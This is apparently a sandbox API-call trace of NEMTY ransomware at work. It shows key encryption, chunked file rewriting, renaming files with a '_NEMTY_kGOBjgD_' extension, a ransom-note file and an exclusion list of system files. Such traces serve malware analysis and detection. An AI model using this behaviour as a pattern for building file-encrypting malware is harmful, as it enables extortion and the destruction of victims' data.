lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(144DPI)redStateIcon.png", lpUsedDefaultChar=0x0) returned 24 [0153.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0153.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0153.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0153.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0153.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)redStateIcon.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0153.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0153.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)redStateIcon.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(144DPI)redStateIcon.png", lpUsedDefaultChar=0x0) returned 24 [0153.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0153.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0153.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)redStateIcon.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0153.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0153.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(144DPI)redStateIcon.png", cchWideChar=24, lpMultiByteStr=0x4f9ed58, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(144DPI)redStateIcon.png", lpUsedDefaultChar=0x0) returned 24 [0153.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0153.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400d0 [0153.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0153.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0153.056] Sleep (dwMilliseconds=0x5) [0153.065] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xee17830, dwHighDateTime=0x1d561e8)) [0153.065] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xee17830, dwHighDateTime=0x1d561e8)) [0153.065] GetLastError () returned 0x5 [0153.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0153.065] GetLastError () returned 0x5 [0153.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0153.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0153.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0153.065] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0153.065] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0153.065] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0153.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0153.066] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e5dc | out: pszString="OE3iGsw3NhiObG5OKivdLJWXmQMhHPY5nA1hktcr1VMndUI4pKJfVrqNGLGoCsps\r\n6gxCIQgFmeXFQ/sHSMc0EL8am9MSSxVtBx4mIvDdFbpatWQR6JnGe2mw/BELm0UE\r\n23ipgwguv08Fp2jN2dWS29hHdHDNpmQZCIxgSpVLIp1gn8T3iuaKxixe5u3mVO1z\r\nsuv2MfL2qwthQQ+DmIz/+lg280A6yaAMlbd0rXt5qjhs+ZGPUxA2cJ8fVjv5b0oi\r\nlna/6BjiEyVvRF+MJArAZWX9/nfef0X+cXIumg9RU/I7Lno5IPsMiKFydjpK6WYN\r\ntHL6z0h3DDhRtoSaPq1tvw==\r\n", pcchString=0x653e5dc) returned 1 [0153.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0153.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0153.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0153.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0153.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0153.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0153.066] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\(144DPI)redStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\(144dpi)redstateicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0153.066] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0153.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0153.066] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.066] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0153.075] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.075] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0153.075] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.075] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0153.084] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.085] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0153.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.085] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0153.094] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.094] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0153.094] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.094] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0153.103] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.103] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0153.103] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.103] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0153.112] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.112] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0153.112] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.112] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0153.121] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.121] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0153.121] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.121] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0153.131] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.131] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0153.131] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.131] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0153.140] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.140] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0153.140] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.140] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0153.149] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.149] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0153.149] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.149] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0153.159] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.159] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0153.159] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.159] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0153.165] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.165] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0153.165] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.165] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0153.171] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.171] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0153.171] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.171] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0153.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0153.171] CloseHandle (hObject=0xffffffff) returned 0 [0153.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403d0 [0153.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0153.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0153.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0153.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0153.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0153.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340498 [0153.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0153.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0153.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0153.172] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\(144DPI)redStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\(144dpi)redstateicon.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\(144DPI)redStateIcon.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\(144dpi)redstateicon.png._nemty_kgobjgd_")) returned 0 [0153.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0153.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0153.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0153.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0153.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0153.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0153.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0153.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0153.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0153.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0153.172] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe97ad90, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0xe97ad90, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xe97ad90, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0153.172] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0153.172] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0153.172] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0153.172] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0153.172] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0153.172] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0153.172] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0153.172] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0153.172] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0153.172] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0153.172] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0153.172] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0153.172] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0153.172] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0153.173] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0153.173] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0153.173] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0153.173] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0153.173] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0153.173] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0153.173] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0153.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0153.173] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0153.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0153.173] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0153.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0153.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0153.173] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0153.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0153.173] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0153.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0153.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0153.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0153.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0153.173] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0153.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0153.173] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0153.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0153.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 